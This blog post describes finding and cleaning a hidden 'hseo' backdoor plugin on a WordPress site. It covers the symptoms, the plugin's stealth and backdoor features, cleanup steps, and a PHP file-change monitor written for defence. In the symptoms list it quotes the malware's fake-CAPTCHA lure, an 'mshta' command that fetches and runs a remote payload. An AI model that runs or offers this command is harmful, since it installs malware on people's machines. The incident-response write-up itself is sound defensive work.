Clarity Quick Tip: Click here to scroll to a quick solution for mitigating the problem while you work.
Recently, I came across a really sneaky WordPress hack on a client site that I think deserves a proper write-up – since my search for “HSEO WordPress malware” or similar things didn’t turn up much when I was looking.
The symptoms were strange at first glance:
- Visiting the site would sometimes trigger a popup CAPTCHA asking to “verify you’re human.”
- Instead of being a normal CAPTCHA, it would walk users through a bizarre set of steps:
- Press Windows + R
- Paste in a command (
mshta https://tiny.kuryc7yy1.ru/age.check?...) - Hit Enter.
- If you’re not familiar,
mshtais a Windows tool that executes remote HTML applications — in other words, this was a malware installer disguised as a security check.
At first, I assumed this was just malicious JavaScript injected somewhere in the site, maybe in a theme or plugin. But as I dug deeper, I realized it was part of a much larger infection campaign tied to something called the HSEO plugin backdoor.
Step 1: Running the Usual Scans (and Coming Up Empty)
Like most people, the first step was to fire up the standard WordPress malware scanners:
- WordFence
- Sucuri Security plugin + SiteCheck
- GOTMLS
Strangely, the local scans came up clean — no obvious malware detected. But Sucuri’s remote scan flagged malicious content being served to every page. That suggested either:
- Conditional malware (only visible to non-logged-in users, crawlers, or certain geographies), or
- Something embedded deep enough that scanners weren’t catching it.
Step 2: Clues in the Code — The Fake CAPTCHA
Inspecting the page source when the malicious popup appeared revealed a suspicious HTML structure:
<div class="cjs-container cjs-m-p"> ... </div>
<link id="cjscss" rel="stylesheet" href="...">
Those cjs-container and cjscss identifiers were the only clear breadcrumbs. They didn’t match any legitimate plugin I was aware of, and searching them didn’t point to a real service.
That was my first strong suspicion that this wasn’t just injected JS — it was being loaded by a malicious WordPress plugin.
Step 3: Digging Deeper — The “HSEO WordPress malware” Plugin
After combing through the wp-content/plugins directory, I found an odd folder:
/wp-content/plugins/hseo/
Inside was a file called hseo.php with code that immediately raised red flags:
- It removed itself from the WordPress plugin list so site owners wouldn’t see it.
- It included a backdoor login function (
get_al) that lets attackers log in as admin without a password. - It fetched configuration data from remote servers — including blockchain endpoints (clever way to hide C2 commands).
- It injected fake meta tags and hijacked robots.txt and sitemap requests.
- It even cloaked JavaScript injections so logged-in admins wouldn’t notice.
In short: this wasn’t just malware, it was a full-featured backdoor + SEO spam injector.
Step 4: Why the Win+R Social Engineering?
The popup was a classic social engineering trick. By instructing users to press Windows + R and run mshta, attackers bypass browser protections and directly execute malicious code on the victim’s machine.
This is especially nasty because:
- It doesn’t rely on browser exploits.
- Even if the website is later cleaned, visitors who followed those instructions may already be infected locally.
- It looks “official enough” (a CAPTCHA + human check) that some people will fall for it.
Step 5: Cleaning It Up
Here’s the exact process we followed to clean things up:
- Delete the plugin
- Removed
/wp-content/plugins/hseo/completely. - Checked
/mu-plugins/and/uploads/for hidden copies.
- Removed
- Check persistence mechanisms
- Searched
wp-config.phpfor suspiciousincludeorrequirecalls. - Reviewed
.htaccessfor hidden redirects. - Looked at
functions.phpin the active theme for injected code.
- Searched
- Audit users
- Checked
Users → All Usersfor unauthorized admins. - Removed anything suspicious.
- Checked
- Reset passwords
- For all WordPress admins.
- For the database, FTP, and hosting account.
- Re-run scans
- WordFence and Sucuri to confirm the site was clean.
- Check Google Search Console
- Ensured no unauthorized owners had been added.
- Submitted clean sitemaps.
Lessons Learned from the HSEO WordPress Malware
- If your scanners find nothing, but Sucuri SiteCheck flags malware — keep digging. Many of these plugins cloak themselves from logged-in admins and common security tools.
- The HSEO plugin is a known malicious backdoor. If you see it in your plugins folder, delete it immediately.
- Educate your users. If anyone followed the Win+R instructions, they need a full malware scan on their Windows machine.
- Keep WordPress, plugins, and themes updated. This infection likely came in through an outdated Avada theme or another vulnerable plugin.
Key Search Terms (for anyone Googling this problem)
- WordPress fake CAPTCHA verify you’re human popup
- mshta Win+R virus WordPress
- HSEO WordPress plugin malware
cjs-container cjs-m-pWordPress hackcjscssstylesheet malware injection- hidden WordPress plugin won’t show in dashboard
- Sucuri finds malware but WordFence doesn’t
This was one of the nastiest infections I’ve seen in a while because it combined:
- Stealth (hidden plugin)
- Persistence (backdoor login + remote config)
- SEO spam (fake sitemaps, meta tags, content cloaking)
- User exploitation (social engineering Win+R command)
If you’re seeing any of these symptoms on your own site, act fast. Remove the HSEO plugin, check for backdoors, and don’t assume your local machine is safe if you accidentally followed the popup instructions.
Clarity Quick Tip
As a short term fix, I added some code in an mu-plugin that simply checked the /wp-content/plugins/ folder periodically to see if a folder call “hseo” or a file called “hseo.php” had been added to the structure. If so it renamed it. This help me deal with reinfection until I could find the code causing it.
*Don’t forget to delete the existing /hseo folder first!
// Define the function to check file changes
function file_change_monitor_check() {
$directories_to_watch = array(
ABSPATH . 'wp-admin/',
ABSPATH . WPINC . '/',
get_theme_root(),
WP_PLUGIN_DIR
);
$upload_dir_info = wp_upload_dir();
$log_dir = trailingslashit($upload_dir_info['basedir']) . 'file-change-monitor/';
$log_file = $log_dir . 'log.json';
if (!file_exists($log_dir)) {
wp_mkdir_p($log_dir);
}
$previous_state = file_exists($log_file) ? json_decode(file_get_contents($log_file), true) : array();
$current_state = array();
foreach ($directories_to_watch as $dir) {
if (!is_dir($dir)) continue;
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
foreach ($iterator as $file) {
if ($file->isFile()) {
$relative_path = str_replace(ABSPATH, '', $file->getPathname());
$current_state[$relative_path] = filemtime($file->getPathname());
}
}
}
$changed = array_diff_assoc($current_state, $previous_state);
$deleted = array_diff_key($previous_state, $current_state);
$added = array_diff_key($current_state, $previous_state);
// Special check for hseo plugin folder or file
$hseo_found = false;
$hseo_folder = WP_PLUGIN_DIR . '/hseo';
$hseo_file = WP_PLUGIN_DIR . '/hseo.php';
if (is_dir($hseo_folder) || file_exists($hseo_file)) {
$hseo_found = true;
}
if (!empty($changed) || !empty($deleted) || !empty($added)) {
$message = "! File Change Detected on " . home_url() . "\n\n";
if (!empty($added)) {
$message .= " Added Files:\n" . implode("\n", array_keys($added)) . "\n\n";
}
if (!empty($changed)) {
$message .= " Modified Files:\n" . implode("\n", array_keys($changed)) . "\n\n";
}
if (!empty($deleted)) {
$message .= " Deleted Files:\n" . implode("\n", array_keys($deleted)) . "\n\n";
}
$subject = $hseo_found
? 'ALERT: hseo Detected - File Change Alert - ' . get_bloginfo('name')
: 'File Change Alert - ' . get_bloginfo('name');
wp_mail(get_option('admin_email'), $subject, $message);
file_put_contents($log_file, json_encode($current_state));
}
}
// Custom cron interval (twice per day: every 12 hours)
add_filter('cron_schedules', 'file_change_monitor_custom_schedule');
function file_change_monitor_custom_schedule($schedules) {
$schedules['twice_daily_custom'] = array(
'interval' => 43200, // 12 hours
'display' => __('Twice Daily (every 12 hours)')
);
return $schedules;
}
// Schedule cron event
function file_change_monitor_schedule_event() {
if (!wp_next_scheduled('file_change_monitor_cron_hook')) {
wp_schedule_event(time(), 'twice_daily_custom', 'file_change_monitor_cron_hook');
}
}
add_action('wp', 'file_change_monitor_schedule_event');
// Cron hook callback
add_action('file_change_monitor_cron_hook', 'file_change_monitor_check');




